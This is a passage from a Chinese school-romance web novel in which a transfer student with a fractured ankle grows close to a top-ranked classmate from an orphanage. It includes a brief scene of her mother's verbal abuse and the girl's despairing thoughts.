如果不是人多,她能立刻哭出声。
“怎么了?”
收银的男生几步跨过来,已经围上围裙准备做熟食,孟知卿刚刚就闻到味了,想着结账的时候买一点。
“你撞的?”他问宋桥山,宋桥山仿佛被摁了暂停键,定在那不会动,“对,对不起。”
没了方才的神气。
“哎呀让开,”一直有一搭没一搭喝水,笑也只闷声搭两句的女生推开他,“每次撞人都不知道扶,傻了你。”
跟收银的男生一起将孟知卿拎起来,顺道拍拍她脏了的衣服。
凉拖有点不稳,孟知卿站了两回才站稳,并且觉得,崴倒的那只脚有点疼。
“实在抱歉,是拿了这些么,”
男生在女生拍她衣服的空档帮忙捡起了瓶罐,“还需要什么,我帮你拿。”
“没了,结账吧。”孟知卿咬着牙话都说不出来,太疼了,便由女生扶着,一瘸一拐挪到收银台,“微信支付。”
“没事吧,”男
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生不太放心,垂眼望向她的脚,“这里有桌椅,可以休息一会。”
孟知卿此时最怕的就是人盯着她脚看,强撑着两脚落地,又将脚尖扭向柜台方向藏住,“没事,结账。”
其余几个也全围了过来,将收银台一小块地方堵得严严实实。
宋桥山搭着小女孩肩膀到现在还没抬起头,耳尖通红仿佛认错绝不用嘴。
小女孩望望他,而后问孟知卿,“姐姐,你买这么多水拎得动嘛,需不需要小九帮忙呀。”
眨巴着大眼睛,一下一下。
收银的男生闻言顿住,抬起睫,“确实,如果需要的话,可以让他们送你回家,”
随手一指那踢了她的男生,“让他帮你拎,这么多水的确很重。”
孟知卿想都没想直接拒绝,她家现在就她一个人,可消停些吧。
“那就少拿两瓶吧,这些就好,”她将两个没摔变形的放回去,买下摔变形了的四罐饮料。
“请你喝。”将其中一罐果汁递给丸子头小女孩,“谢谢你要帮姐姐提东西。”
摸摸她滑嫩嫩的小脸推门出去。
谁能想到不送这果汁还好,送了那几个反而要送她,硬生生送到门口,人都走出去好远还在道别,还不进去。
以至于她只能硬撑着两只脚落地,慢悠悠一点一点往前挪,挪到路口直接拐过去,躲起来,要是顺着过马路,那几人能一直目送她到小区门口。
“妈妈,我脚崴了,好疼。”
她可坚持不了那么久。
“什么脚崴了,怎么弄的。”
“摔的,薛姨收拾东西的时候放错了没拿拖鞋,把你那双松糕底凉鞋带来了,我,”
“你穿了?你习惯穿松糕底吗就穿,崴了不活该吗,”
盛岚听了一半直接打断,可能嫌她说话慢,也可能单纯不想听,“大夏天又不凉在家光个脚怎么了,不穿拖鞋会死,晚上乔恩不又过去了等他带一下不行,闲得非得找个东西套脚上,不傻逼吗,”
有种不顾人死活,不管原因自我发泄的感觉,“一天天就你事最多,还说我找你麻烦,到底谁找谁麻烦,不作点妖浑身难受吧,还说我看你不顺眼,你做了什么让人看顺眼的事吗,反思反思,为什么这么讨人厌,为什么人人都不待见你。”
说罢直接挂断,根本没有要管她的意思。
孟知卿:“……”
也许是她真犯贱了吧,想想为什么要换这双凉鞋呢,穿着运动鞋不挺好的吗,又为什么不能安分一点待在家里呢,出来做什么。
为什么要饿,为什么长嘴,为什么呼吸了还要消化吃东西。
为什么出生呢,为什么不在怀她的时候打掉她。
“去明基医院。”
孟知卿的声音发颤,眼泪还挂在脸上。
到了医院慢吞吞地挂号,看诊,去打石膏。
医生说脚踝轻微性骨折,太瘦了有点营养不良,恢复慢,又是学生动得比较多,不打石膏好不了,必须打。
“一个月之后来拆,最好能有家人陪同。”
医生边收拾东西边道。
孟知卿:“好的。”
但是,如果有家人犹如没有家人呢。
5. 负责
九月一正式开学,孟知卿早早起床。
但乔恩来了,昨晚送东西时见她打了一脚石膏便说明天忙快点,来送她。
孟知卿没推辞掉,所以刷完牙后被他摁到餐桌前把粥喝了,把煎饼吃了,又灵光乍现明天早饭怎么办,万一她下晚自习饿了想吃夜宵又怎么办。
说什么也要教她用电饭煲预约米粥,每天上学前喝了,喝完把电拔了,喝不完留着晚上用微波炉打热再喝。
然后每天上学前必须把家里电全部拔掉,钥匙一定挂在书包里面不能取下来,取下来就忘,晚上睡觉前也一定要锁门,锁两道,一些本该昨晚叮嘱的话全挪到今天,因为昨晚走得急,今天不急。
孟知卿急啊。
“行,好,就按你说的办。”
结果乔恩见她心不在焉,直接掏了手机拨通新班主任电话,“老葛啊,我们孟知卿脚踝骨折打了石膏,可能晚点到学校,没事吧。”
“脚踝骨折?那麻烦嘞,慢点是没事,以后在学校麻烦嘞。”
“那,麻烦您帮忙安排安排,照顾一下她?”
“行诶,我来安排。”
挂了电话他跟孟知卿面面相觑,大概刚转学时见老葛面相挺严肃,却不想一说话还挺慈祥。
笑一下,“不急了吧。”
不急了。
所以硬生生耽误到十点才出门,磨磨蹭蹭,孟知卿一路杵着拐杖到学校时教学楼空空如也。
烈阳高照,大家都在操场上听训话。
“安排坐后排没问题吧,视力怎么样,”
接近退休年纪的老葛领着两人往高三九班去,“先坐会,我下去一趟。”
指指班级最后那独个儿的凳,里头每张课桌都叠着或多或少的书,并没有一张留给孟知卿。
“行。”
过后乔恩陪她等了几分钟,被盛岚电话催走,走前还不忘唠叨两句,比那过世的孟嘉先生还能唠叨。
不过他是孟嘉先生在马来西亚留学时期的同学,身上有些相似点也属正常。
“新同学,我先见了!”
广播里收队音乐刚开始放,走廊外传来一道喊声,带动整栋教学楼陷入嘈杂人声。
一个穿着黑白相间校服的魁梧男生漂移进门,“新同学,孟知卿!”
后头追他那男生也漂移进来,撞到他,“进去啊,堵着干嘛。”
说着抬眼望向后排,“孟知卿?”
孟知卿跟魁梧男生对视好一会,这才刚反应过来,“嗯,你们好。”
勾过拐杖撑起身。
一个是她崴脚的罪魁祸首,宋桥山,一个是便利店里一直随从说闹的宋许,也是个栗子头,人较宋桥山瘦些,看着也比他文明平和许多。
“竟然是同学。”她笑笑。
其实昨天就已经有预感,在学校附近活动的同龄人,大概率就是一中同学,却没想到是同班同学。
“你们好。”她浅浅鞠一躬。
宋许又推了宋桥山一把他才进门,慢吞吞地挪到教室后头,根本不敢看孟知卿,只同宋许说话,“是不是坐这?我坐门旁边是吧。”
宋许:“对。”
然后跟宋许一道把最后一排靠里侧的桌子往后拉,一直拉到门旁边几乎堵住后门。
“然后去哪搬新桌子来着?八班?”
宋许:“嗯。”
话落推着宋许后腰几近逃跑。
教室再次空荡。
可能得了老葛话先回来的吧,他们搬来新桌子都快整理好才陆陆续续有同学进班。
也许学业紧张实在没闲功夫,也许经常有同学转学习以为常了,看一眼孟知卿点头以示见过便一切如常,该回座位的回座位,该打水的出门打水。
“你的座位,”这边两位对齐桌子擦干净桌面后,跟门神一样立到一边,“方便过来吗。”
宋桥山问。
不知道哪根筋搭上了,还是突然开窍了,竟然过来搀她,“我扶你吧。”
孟知卿没推辞,毕竟人想道歉也得给人个机会。
“谢谢。”
宋许帮忙把凳子抬过去,孟知卿被稳稳安置下。
“给我吧,放里面碍事,”宋桥山又示意把拐杖给他,他帮忙靠到后面。
孟知卿:“……行,谢谢。”
过后两人一个没离开,还是立在她桌前,“你的脚,”
宋桥山欲言又止。
“没事,”孟知卿抢答,回以一个友好的笑,“轻微扭伤而已,不出一个月就好了。”
“是吗,”宋桥山有点儿不信,瞥一眼宋许又不知道说什么了。
宋许帮忙道:“他意思想跟你道歉,昨天就该道歉了但他这人就这样,小时候被他爸家暴的原因,犯错说不出,”
“咳!”宋桥山咳嗽一声打断,意思你怎么说这么多,家暴算丑事,说丑事干嘛,“嗯,不过我母亲已经跟他离婚了,没多久过世,我也被送去了福利院,五岁开始在福利院长大。”
突然想起什么,“你是不是还不知道,昨天,就我们那几个人,全是CBD福利院的,都姓宋?”
孟知卿摇摇头,他说话声音大起来,“他,”
指指宋许,“宋许,院儿里年纪第二大,”
刚好凑过来一个女生的脑袋,他顺道把人拽过来,“宋七,老三,”
然后指指自己,莫名有些害羞,“我叫宋桥山,比他俩都小。”
“嗷,”又一个猛抬头回身扫过教室,宋许跟宋七随着他的动作一道回头,也扫一圈教室,“门口,”
宋七低声,不冷不热只做提醒。
宋桥山噔噔噔地就跑去门口,拉过一个清瘦而不过分单薄,个高便显得居高临下的少年,“宋聿,院儿里老大哥,”
说着拍拍少年肩膀,一脸谄媚,“都说弟弟债哥哥偿,以后孟知卿同学就交给你了,”
望向孟知卿,“我把我哥陪给你,他会对你负责的。”
“嗯!没错!”突然加大音量吼出两句,仿佛如此才自洽,如此心里对孟知卿的愧疚才算彻底放下。
孟知卿不自觉抓紧脚趾,打石膏的脚不能穿鞋不能穿袜,她感觉浑身赤裸。
在少年的目光之下。
-
宋聿的长相属于清秀而有棱角的类型,头发不长不短松软的,鼻梁高挺,看起来温顺又礼貌温驯。
但总觉得不止这些,他那一双眸总时不时让人瞧出一股冷淡玩味儿的劲,像只有意藏住没发力的狐。
“孟知卿?”
听他说话便能感觉出来,不同于便利店作为服务行业一员需要拿出态度,此时他眼睑半拉垂
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睫瞧人。
“嗯。”
孟知卿感觉自己都变弱小了。
“脚是昨天崴的?”他问。
孟知卿下意识撇眼后头的宋桥山,“嗯。”
宋桥山忙举起双手,“已经道歉了,非常诚恳,也准备好负责到底了,每天午饭我帮她打上来。”
孟知卿:“?”
什么时候决定的事。
宋聿听罢收回视线,外头人声嘈杂,教室里人也几乎坐满,他坐下,半侧着头似笑非笑,“那也准备好每天搀她去厕所了?”
宋桥山:“?”
孟知卿:“……”
“那倒不用,我有拐杖,”指指教室后面,“其实不用你们操心,我脚可以落地。”
医生坚决要求打石膏,就是担心她不安分也不方便容易二次伤害,打了石膏固定起来,偶尔落地也就没问题了,可以落。
“而且,”孟知卿欲言又止,“我能憋。”
说能憋也不过水没喝到位,站着说话不腰疼。
中午把饭卡托付给宋桥山他确实自己顾不上吃早早给打包送了上来,蛋炒饭,灌肉香肠加腌萝卜丁,咸得她牙齿打颤。
“好吃吗,”宋桥山自己也打包上来,坐在后头边吃边问,“食堂还有好多品类晚上需不需要帮你换一种?”
“需要,”孟知卿咬着后槽牙点头,“换。”
“行,还有雪菜肉丝炒饭,泡菜全,”
“不要炒饭,”孟知卿听不得雪菜,咸菜,泡菜一类,一听牙床发颤,“要面,要带水的。”
宋桥山:“行。”
不过到下午孟知卿就已经憋不住了,最后一节课可以说如坐针毡。
也不知怎么的,宋聿那人居然可以一下午不起身,宋桥山拖着喊着拉他出去逛逛他愣是一动不动,“放开。”
一句话吓得宋桥山直接推着宋许肩膀跑了,而后安静下来,继续刷他的专题训练,学习得是有对好,孟知卿不禁想。
回忆昨天在便利店相遇他也是在刷题,这么刻苦自励不是年级前十说不过去了吧。
后来老葛上班会课点他的名。
说不愿意当班长也不肯做学习委,觉得耽误时间,总要为班级做点贡献,要他以后负责新同学的一轮复习。
一中在高二下半学期就已经开始一轮复习了,孟知卿原先在国际高中,只知道吃喝玩乐,想学没环境学。
这也是她转学的原因之一。
听到已经复习完高一内容还是有点慌,请教宋聿时他用一个课间就给她过了高一全部内容。
在他嘴里那些都是小儿科,长脑子的都会,压根儿用不上复习。
那时孟知卿开始觉得他不一般了,开始为自己先前的冒犯感到羞耻。
再听宋桥山说:“我聿哥年级第一。”
便更想找个地洞钻进去。
话说,自己在心里滚过的心思这人能感觉出来吗。
物理老师在台上讲天书,孟知卿撑着脑袋,掐着下唇,侧目望向宋聿。
下颌线清晰流畅,侧脸比万佳近三年签约的男艺人都要有特点,有气质,有硬骨。
“?”
宋聿忽然挑起一侧的眉偏过头,“想去厕所了?”
孟知卿:“??”
他有感觉?!!!
6. 下蛊
其实人的感觉意识很奇怪,跟一个人不间断在一个地方待久了,便会生出一种莫名的熟悉感,家属感,安全感。
孟知卿觉得她现在很熟悉宋聿的味道,温温热热说不出具体味道的皂角香,很好闻。
闻久了又有种暧昧让人不敢往深了琢磨的冲动,直往眼球里上劲,将眼球灼热,灼得倦滞,倦滞到想笑笑不出来只能静静地,小心翼翼地,再偷窥猜一猜那人的心思。
况且,一个全校人都振臂欢呼说秀气,精致,比明星还帅的少年,往任何人跟前一站,都不会让人生厌。倘若他再冲你笑一笑,说话颇具一些个性,很容易就会爱上。
下午最后一节课的下课铃终于打响,物理老师一句“下课”刚说出口,铁筷坠地,凳子腿摩擦瓷砖“哗啦”直响。
短短几秒钟内,教室空空如也,只剩孟知卿个瘸子。
和隔壁不慌不忙的学霸。
在研究老师最后几分钟讲剩的物理题,仿佛也没听懂,皱着眉扯了张草稿纸写写画画。
写到什么时候……
孟知卿直起的背重又耷拉下去,望着他,心如死灰。
好半晌了,快憋死了。
“你不吃饭吗。”
最终还是没忍住,问了句。
“嗯。”
宋聿淡淡应声,而后终于圈出一个答案搁下笔,“你去厕所是吧。”
简单收拾桌面起身。
其实他那桌面也没什么收拾的必要,别人都或多或少叠一些书在桌子角,包括孟知卿自己,刚来一下午也叠了小半扎,他桌子角却干干净净,上完课就收,绝不多放拖泥带水。
“嗯哼?”
站到隔壁将凳子往后拎点儿腾位置,他朝人伸出手。
孟知卿这会已经自己撑着站起来,闻声望望他,“不用,我有,”
回过头自己靠在后边柜的拐杖去哪儿了?
“失踪了。”
宋聿接话。
孟知卿:“失踪,失哪去了?”
“这你得问宋桥山。”
不冷不热,懒懒地像困了。
孟知卿:“……”
“走了。”
下一秒,可能嫌耽误时间吧,他倾身牵住孟知卿手腕,轻轻一拉以至她只能两脚点地往前捯两步。
宋聿却没动,两人直接撞上,孟知卿脑袋磕着他下巴,差点吻了他喉结。
手脚软了一瞬,浑身仿佛被一个庞然身躯塞满,又被一道酥酥麻麻的触感游遍。
孟知卿的眼圈又被一股涌上来的感觉灼热,灼酸了,想静静地,抬起睫望宋聿是什么表情,什么反应,是不是也连呼吸都变缓慢了。
不妥。
“走吧?”
她出声提醒。
宋聿便牵着她的手腕,带着她一步一步挪到教室外。
过程中时不时低眉看向她打石膏的脚,也许单纯琢磨这样是不是真的能落地,也许不过疑惑为什么简单崴一下就断了。
孟知卿却不自觉蜷缩起脚趾,不想让他看到自己的缺陷。
“午饭合胃口么。”宋聿忽然问。
孟知卿:“?”
“合吧,还行。”
“那宋桥山说你吃的不多?”路过一位打水的同学,跟他打了声招呼,“还是平时吃的就不多。”
孟知卿一路望着那同学,果然好奇她怎么打上石膏了,“平时就不多吧。”
有点儿心不在焉了。
宋聿牵她手腕的手忽然上下摩挲了一番,“走什么神?”
孟知卿:“?”
他的那双手极漂亮,孟知卿在他写字的时候观察过,却不想连温度也比旁人高上一个度,上下摩挲仿佛是要摩出火星子,将她整张脸都灼烧起来。
“……没走神。”
“是么,”他扬扬眉挨近了,“是不是不住校。”
孟知卿:“……”
真不知道他思维为什么这么跳跃,下午就发现了,上一秒这题这样,下一秒宋桥山说把我赔给你,意思我是你的了。
什么跟什么啊。
如果不是这句话,她脸绝不会红得这么快,心跳也绝不会加速得这么快。
“不住。”她低声。
“家离学校很近?”宋聿又问。
孟知卿:“嗯,两个红绿灯。”
“啊,”他一副恍然,“住梧桐苑。”
孟知卿:“……对。”
“家人来接么。”话音才落他接着问。
孟知卿:“……没有,自己回去。”
“是么,”他仿佛不可思议,但这不可思议又显得假得很,像装模作样,“梧桐苑前头到晚上可乱呢,家长舍得让你一个人来去?”
孟知卿:“……”
“再过几个月就成年了,没必要装出一副娇滴滴的样子。”
宋聿听笑了,垂下睫望她。
仿佛在,欣赏她?
孟知卿下意识缩紧脚趾,抿起唇笑笑。
她知道梧桐苑门口一排商铺白天不开是为了准备晚间更盛大,更持久的喧闹了。
会摆上很多折叠桌椅,坐上许多打赤膊的中年男人,酒瓶撞着令人恐惧的醉笑,孟知卿昨晚见识到了。
害怕,但没人在意她害不害怕,没人会管她,没人有空管她。
“谢谢。”
一路梧桐热烈,到了连廊拐角的厕所门口宋聿才松开手,孟知卿感觉整个手腕瞬间释放了,风都清凉不少,“谢,”
“晚上我送你。”
宋聿忽然说。
-
被冷了十多年,忽然有人在乎起自己,哪怕只是出于礼貌,出于弟弟债哥哥偿的责任,也让孟知卿恍然间酸了鼻子。
她又抿起唇,当夜幕下宋聿牵着她手腕一步一步下楼的时候。
以防被“疯魔”了的同学们挤到,宋桥山死了一晚上突然活过来扯宋聿胳膊,喊他快点回家快点把电视剧大结局看了时,他嘱托宋许带他们先走,“不是把我赔给孟同学了?我不得陪到底?”
宋桥山一个没忍住打了个寒战,“哥你仁慈得不像你,”
堵在过道瞧瞧孟知卿,“是不是她给你灌了什么迷魂汤,死心塌地啊。”
宋聿:“嗯,下蛊了,”
边收拾边淡淡开口,“我现在只在乎她。”
宋桥山:“……”
孟知卿:“……”
宋七笑了下冲孟知卿挥挥手,“明天见,路上注意安全,”
然后扇宋桥山一巴掌,“自己闯的祸自己不填还在这话风凉,赶紧走。”
扯着将人带走了。
与此同时教学楼也空了大半,孟知卿随手装几本书也准备离开,然后猛然想起,忘记问宋桥山把自己拐杖玩哪儿去了,到现在都没找到。
还好她一次性买了两只,今天只杵了一只,被宋聿搀回去明天还有一只能杵到学校。
再被玩失踪她已经想好了,骑着宋桥山回家。
“我背你?”
却不想这话先被宋聿说了出来。
孟知卿:“啊?”
路口的香樟树茂密而盛大,路灯钻过缝隙照落下来,照亮两人一个赛一个白皙的脸。
一时鼎盛,开车来的,骑电瓶车来的,走路来接孩子下晚自习的家长们陆陆续续朝四面八方分散开,闷燥的虫鸣蛙叫声
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中,只余下不紧不慢,要晃晃悠悠享受如此良夜的人了。
孟知卿还没领到校服,穿着跟校服很像的oversize白衬衫,下面是条简单的三杠运动裤,青春活力,马尾扬起来时更是明媚宛如坠落人间的天使。
只是她不常笑,此时也笑不出来。
“不,不用了吧,”她指指周围车来车往,“多矫情。”
宋聿没应,只示意马上变绿的人行灯,“二十秒你认为你能走到哪。”
明人不说暗话,走到三股道的第一股道,还有一大半没过。
上午就是,还是乔恩举着手替他拦了车才勉强在一分钟内过到隔断来往车辆的中间平台。
还得再等个红绿灯,还得再拦小半分钟的车。
宋聿,应该不会帮她徒手拦,
下一秒,宋聿径直捏了她手臂,一弯腰,一勾腿,再轻轻一掂,将她背了起来。
“抱紧。”
他说。
孟知卿下意识往前靠去,勾住人脖子。一路注意路灯又注意来往车辆,她什么都没想,短暂惊错一下后,“没事他们会让我们。”
担任起道路指挥,指挥着安全到达对面。
宋聿放慢步子,孟知卿也半直起腰想下去,“谢谢。”
“踩多了夜里脚疼,背着吧。”
宋聿没有要放人的意思。
孟知卿,“不用了吧。”
这条路白天还蛮热闹,到了晚上却连快递站都关门了,地下菜市场大门紧锁,为数不多的几家便利超市也都来人稀少即将熄灯打烊。
宋聿背着她不紧不慢地走着,呼吸很浅,仿佛毫不费力,跟没背什么一样。
但孟知卿自己感觉得出来,宋聿是故意或者就想让她自己往上蹭,所以一直没用力把她往上掂一掂,都快滑下去了。
很怪异,也很累赘。
她干脆自己往上爬。
说句实心话,五岁时候孟嘉先生去世,她便再没被人背过,也再没感受过男生的后背有多宽阔可靠。
宋聿的确稳健又可靠。
皂角气味一阵一阵凑过来,她觉得自己手脚又软了,眼圈被某种情绪灼烧灼得火辣辣地酸疼,浑身变得燥热。
为什么像生在神坛的天之骄子,会屈起后背去背一个女生呢?
为什么明明忙得片刻不得歇,还能守护一个人像守珍珠宝器一样片刻不离眼呢?
为什么在意她落地久了晚上会脚疼以这样的借口背着她?又为什么一句推脱没有就接下了对他负责的担子?
大概同谁说来谁都不会往单纯了想吧,包括那些令人误解的话,“我是你的了”“我现在只在乎她”“你走什么神”。
如果不是因为某种情愫又是因为什么呢。
“宋聿,”
孟知卿黏稠地喊出一声,不知道为什么黏稠了,是导致她眼睛酸疼的情愫干扰了嗓子吧。
“你累不累。”
说着又往上蹭蹭整个人懒到宋聿背上,小心翼翼地,环住双手,环住宋聿脖子。
耳尖滚烫,惯性原因歪到宋聿脸颊。
他的脸颊是凉的,冰凉的,歪过去时明显感觉他步子顿了一下。
“太快了,孟知卿。”他忽然出声,仿佛也被情愫灼伤了嗓子,滚烫充满欲望。
孟知卿:“嗯?”
明明感觉到回绝如此做法的意思,也别过了脸,却还装傻,“你说什么?”
“我说太快了,”宋聿侧眸,两人呼吸交缠。
他停了很久,孟知卿只见他眼底微微泛红,平时不紧不慢扑闪的睫不确定地颤了颤。
“心跳乱了,感性作不得数的。”
7. 奉劝
回到家已经洗过澡,孟知卿脸上的红晕还是没有褪去,宋聿便是以为她借他背自己的事情,蹭啊蹭地试图告白?
要真论起来她也不过眷恋那十多年忽然而来的关怀,感谢他而已,她能说那一刻自己把他当孟嘉先生了吗。
况且,告白什么的,她可一句话都没说。
就被拒了?
也好,也不用来回试探,小心翼翼观察人反应了。
次日,孟知卿早上杵着拐杖进班,刚好是老葛的早自习,坐在讲台边上见了她立刻喊人,“扶一下。”
宋聿跟宋桥山同时站起来,同时挤着过道过去。
准确来说是宋桥山为在老葛面前表现,像阵风一样擦着宋聿肩膀飞过去,“我扶我扶。”
宋聿就停在座位边上没动了。
宋桥山一路搀着孟知卿到跟前,他才伸手去接。然而众目睽睽之下,孟知卿只当没看见。
将拐杖递给宋桥山靠到后头,她自己扶着座位进去,稳稳坐下,轻轻舒一口气。
老葛笑了一声,“是不是带人过一轮复习的时候太骄傲,人不待见你了?”
昨天下午宋聿带着孟知卿过一轮复习资料时老葛就在后头,不知道在做什么,一会收拾收拾书柜,一会捡捡垃圾,一会又凑过来听两耳朵。
他教数学,所以过到数学科目时一直站在旁边。宋聿说得很快,指着必修一二的目录,“死记硬背,背公式,刷题,找解题套路,找解题套路,刷题,这一章,高一应该学得很透了吧,不用看。”
孟知卿:“……”
她当时就想说,有没有可能她没学过,她是零基础呢。
没敢,毕竟老葛在边上,且老葛听了全部也一句话没说,她就更不敢说了。想着一中复习可能都这模式,适应适应吧,结果老葛今天就提了起来。
“是不是应该再详细点,再给人讲讲?”老葛看着不太慈的眉带上笑,也显得慈了。
真没想到他居然这么细心,这么会为人处事。
如果换做孟知卿,可能当场就指出来了,可指了,又免不了下学霸的面子,毕竟是他自己把这差事硬塞给学霸,学霸本人不一定乐意。
“不用了老师,”
孟知卿捡过早自习要做完的习题,轻声细语,“年级第一有他自己的学习方式,我基础不好他很难共情,”
往教室那边望一眼,偏偏错开宋聿不看他,“换个人吧,随便谁都可以,我跟不上学霸的思维。”
宋聿:“……”
老葛反而觉得很有道理,“宋同学的解题思路拿给大家看大家有时候也看不懂,属于学霸思维了,让他教你,确实有点为难你们两个。”
说着从班里打量,随手一指孟知卿前桌,“就宋许吧,你带新同学过一下复习课。”
宋许闻言回头看一眼,他同桌宋七也回过头。
“我们一起,”
“不用,”宋聿至此终于出声,打断宋七的提议。
他才坐下,侧头望着孟知卿面色沉沉,“一章一章过也不行?”
一章一章过当然行。
孟知卿低下头看题不再说话,因为听出生气的意思了。
“行行,那我也随时在办公室,孟同学有问题也可以随时来问我。”老葛又笑,疑似看出端倪在打圆场。
孟知卿礼貌应好,然后找笔列式再不敢抬头。宋聿的眼神太直白,太阴沉了,盯着她一眨不眨。
估计全班人都看出来大学霸不高兴了,被一个小菜鸡下了面子,居然说他会学不会教,简直是对学霸的侮辱,做神不做信徒的神做自己的神,独乐乐。
不过孟知卿当然没有这个意思,只是单纯想跟某人划清界限,不要因为昨晚的误会扯在一起不清不楚,仅此而已。
下午。
午睡刚结束,宋聿从柜子里翻了他的必修一数学书。
孟知卿睡梦里只感觉隔壁嘈嘈杂杂不晓得在做什么,然后手指就被捏了捏。
宋聿叫她起床的方式是捏她伸在胳膊外的手指。
轻轻柔柔,见人没动静又轻轻揉揉她第一节指关。
啊啊啊啊啊啊。
孟知卿感觉自己心脏要炸了。
这个人。
“干什么。”
她猛地一下弹起来,瞪他。
能明显感觉自己整张脸都在发烫,烫得几乎烧起来。
“复习。”宋聿视线从她脸上游走了一圈,想问什么的,但可能觉得没必要,他还在生气。
孟知卿也没想到一个人可以记仇记这么久,一上午都没搭理她。那她昨天被误以为告白,直接就拒了,想解释没法解释,想挽回面子无从挽回应该更值得生气吧。
“你说。”
她没好气道,坐在那大爷一样只垂眸望,不倾身过去看书。
宋聿顿了一会什么都没说,将书摊到桌子中间,“集合有什么不会,”
翻过目录页到知识点阶段,“概念不明白,子集,全集,补集不懂,还是交集,并集一知半解。”
孟知卿:“……”
哪有人过知识点这么质问,跟拿刀架她脖子上让她必须说会有什么区别。
“不用看理论,就题,”
“那有什么跟不上思维,”宋聿望向她,“我昨天不就过得理论?”
孟知卿:“……”
“……嗯。”她靠过去一些是要听他差遣,现在他说什么她做什么,让她刷题就刷题,让她找解题思路就找解题思路,绝不夹杂私人情感,学习为重。
“不想让我教就坦荡说出来,弯弯绕绕小心思有什么意思。”他翻过一页纸道。
孟知卿:“……”
如果是宰相的话,感觉前十几年营造的大度人设全被这一件事毁了。
真的很小气,关键站在宋聿的角度也不知道她在气什么,一早上来就被当着全班人的面下了面子。
“对不起。”她翁声。
后头听全了的宋桥山忽然凑过来,“没事,我哥一点都不在意,他只是嘴碎,外加只对他觉得重要的人较真,你不用自责。”
孟知卿,就更不知道说什么了。
宋聿斜他一眼,“打水去。”
把人支走了。
然后靠后门的角落就只剩他们两人,说什么也只有他们两人听到。
“是在为昨晚的事生气么,”宋聿突然问,问得直白,问得坦荡,又像沉默了一上午,就等着这没人只有他们彼此的一刻,“昨晚,”
他顿了下,眼睫一晃歇了下来,孟知卿感觉自己的心都被提到嗓子眼,“嗯?”<
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装傻,想捞过水杯喝一口,结果发现被宋桥山带走了,只能顺势抓起一支笔,摁出来,再摁进去。
并没有要解释的意思。
“再来一次还是一样的回答,”宋聿先说了,认真又像是告诉自己必须认真,“不要在晚上做决定,一时上头没有好结果,”
然后慢缓缓地抽过她手里摁着摁着停掉的签字笔,“才认识不到一天真的太快了,请你理性一些。”
-
听宋七说跟宋聿告白的人一年里没有八百也有一千,去外面吃饭被要微信,坐个地铁也被要微信,哪怕往大街上站着一动不动,也有前赴后继的人上赶着跟他搭讪。
他的回答一律,“没微信。”
直接拒绝,绝不拖泥带水。
更有一次福利院的捐款人想要收他做干儿子,意思给自己的独生女养女婿,给自己培养接班人,他也给拒绝了。
那人是沪上小有名气的船商,开了一家货船公司,从浦江出发开往世界各地,年收上十亿,十亿!
他们小小的福利院孩子长大全分散出去,赚八百年都赚不到十亿。
关健那船商的女儿也不丑,瘦瘦高高,来院里走访时穿着小细跟的鞋,蛋糕裙,长发及腰,简直一个公主。
院长都觉得这门亲事好,偏他一口回绝,半点空子不给人钻。
且看他桌子收拾的干干净净就知道他绝不是一个拖泥带水的人,手起刀落,什么都干脆。
宋七晚饭后回来得早,扭着头一直在说这些,说着还满腔遗憾,要是宋聿真答应了他们院不也能沾沾光?
至少院长副院长们不用再东跑跑西跑跑拉捐款求赞助,养更小的小朋友们了。
“那,这么多年有没有一例,告白被他劝理性一点的案例呢。”
孟知卿小心翼翼地问。
宋七:“什么劝理性一点,告白他根本不会看,手一摆就走了。”
孟知卿:“那如果不是萍水相逢,是,同学,同校同学跟他告白他会劝人吗。”
“不会,”宋七不觉奇怪,“他会直接拒绝,还劝什么人。”
“就,你这才认识我几天呀就告白,太快了,你是上头了,不是喜欢,你要理性一点,感性不作数。”孟知卿边回忆边说,说完宋七歪着嘴想笑。
“这哪里是劝人,是劝他自己吧。”
孟知卿:“?”
宋七凑过来,彻底不忍了,“不用怀疑,他是在纠结,”
然后牵过她的手,“恭喜你被选中了,不过我就不推波助澜了,”
拍拍她,笑得像朵花,“我帮忙扫清障碍,你们慢慢来。”
孟知卿:“??”
下一秒宋聿同宋桥山同时回班,宋桥山勾着他哥手臂,说几句,宋聿嗯两声,绝不多说话,他也不恼。
“宋桥山。”宋七忽然大吼一声,“跟我去操场抓宋许,他数学午练没交。”
宋桥山:“?”
还没反应过来就被拎走了,后门位置又只剩她跟宋聿两人。
不自觉挺直后背,孟知卿端起架子略显刻意地垂眼看作业本。
宋聿轻笑一声,“要真实一点才能了解真实的你。”
他单方面提出再给彼此一星期时间,了解后再做更理性的抉择。
8. 反转
一星期。
一星期!
一星期时间很长吗?一星期就不快,就能了解彼此,做出更理性的抉择了?
孟知卿对此不置可否,没说行也没说不行,因为宋聿提起时她一知半解,这会儿才有点明白过来。
也没什么多余变化,每天依旧瞥瞥隔壁的人,拜托他打打水,扶自己去两趟厕所,告诉宋桥山午饭不要咸的,不要!
跟平时差不了多少。
若非要说变化,那大概是。
多了个挺直腰杆的任务?
“老葛说三十分钟做不完,今天延长十分钟,”数学课代表在讲台上边发午练试卷边说。
宋七传过剩下的几张,孟知卿直着腰缓缓探手接过,“谢谢,”
柔声说。
然后分一张给宋聿,剩下一张递去后面。
再而捏笔,摁出笔尖,抚平褶皱,一尺一拳一寸拿捏好,垂眼看题。
“孟知卿,”
宋聿忽然小声喊了句,孟知卿,“嗯?”
偏过头,唇角自始至终含着柔柔软软的笑,仿佛温柔委婉,又仿佛热爱全世界。
宋聿无声地笑了下,侧头瞥眼班级那头,又回头瞧下宋桥山,慢缓缓靠过去,“真实的你。”
孟知卿:“……”
“这怎么不是真实的我。”
明明不太自信,还是把背挺得更直,“我平时就这样,是你还不够了解我。”
宋聿又笑了下,后头的宋桥山感受到动静伸过一支笔,挡在他们中间,“四十分钟都写不完。”
宋七听着了,她是副班长,午练时间班级纪律归她管。
不过归不归她管她都能说两句宋桥山,“闭嘴。”
孟知卿后知后觉红了脸。
宋桥山的声音也不大,宋七都能听着,说明宋聿跟她刚才的对话她也能听着,并且说不定在竖着耳朵听。
“随便你,”她没好气道,“觉得不真实就不真实吧,谁在意。”
往里挪挪离人远点。
宋聿一时怪异。
孟知卿也不是突然小气什么话不能让宋七听,只是觉得宋聿要不是那意思,就那个那个的意思,是她形容让宋七误解了。
还一脸兴奋地说帮忙扫清障碍,扫了自己又不能成她嫂子,多白费她功夫。
所以。
下午体育课孟知卿就主动找宋七说清楚。
“有进展了?”
一中的体育课是分项目不分班的上法儿。意思整个年级,对排球感兴趣的一起上排球课,对足球感兴趣的上足球课。
